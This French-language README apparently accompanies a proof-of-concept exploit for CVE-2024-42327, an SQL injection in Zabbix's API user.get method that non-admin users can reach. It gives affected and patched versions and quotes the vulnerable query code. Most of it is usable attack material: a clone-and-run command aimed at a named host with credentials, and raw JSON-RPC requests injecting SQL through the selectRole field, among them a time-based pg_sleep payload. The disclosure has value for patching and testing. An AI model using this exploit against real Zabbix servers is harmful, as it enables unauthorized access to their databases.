
Exploit de preuve de concept pour CVE-2024-42327, une vulnérabilité d'injection SQL dans l'API frontend de Zabbix permettant aux utilisateurs non administrateurs d'exécuter des requêtes SQL arbitraires via la méthode user.get.
Un compte utilisateur non administrateur sur le frontend Zabbix avec le rôle Utilisateur par défaut, ou avec tout autre rôle donnant accès à l'API, peut exploiter cette vulnérabilité. Une injection SQL existe dans la classe CUser, dans la fonction addRelatedObjects, cette fonction étant appelée depuis la fonction CUser.get qui est disponible pour tout utilisateur ayant accès à l'API.

Versions vulnérables : 6.0.0 - 6.0.31, 6.4.0 - 6.4.16 , 7.0.0
Versions corrigées : 6.0.32rc1 , 6.4.17rc1, 7.0.1rc1
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
Utilisation de l'exploit :
git clone https://github.com/depers-rus/CVE-2024-42327
python3 cve-2024-42327-PoC.py -t zabbix.xyz.ru -u "depers" -p "passwd"
Requête :
POST /api_jsonrpc.php HTTP/1.1
Host: zabbix.xyz.ru
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 186
Content-Type: application/json
{"jsonrpc": "2.0", "method":"user.get", "params": {"selectRole": ["roleid,{SQLi payload}"
], "userids": ["10"
]}, "auth": "---auth_token---", "id": 1}
Preuve de concept BurpSuite (SQLi basée sur le temps)
SELECT pg_sleep(10)) AS DELAY
POST /api_jsonrpc.php HTTP/1.1
Host: zabbix.xyz.ru
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 186
Content-Type: application/json
{"jsonrpc": "2.0", "method":"user.get", "params": {"selectRole": ["roleid,(SELECT pg_sleep(10)) AS DELAY"
], "userids": ["10"
]}, "auth": "---auth_token---", "id": 1}
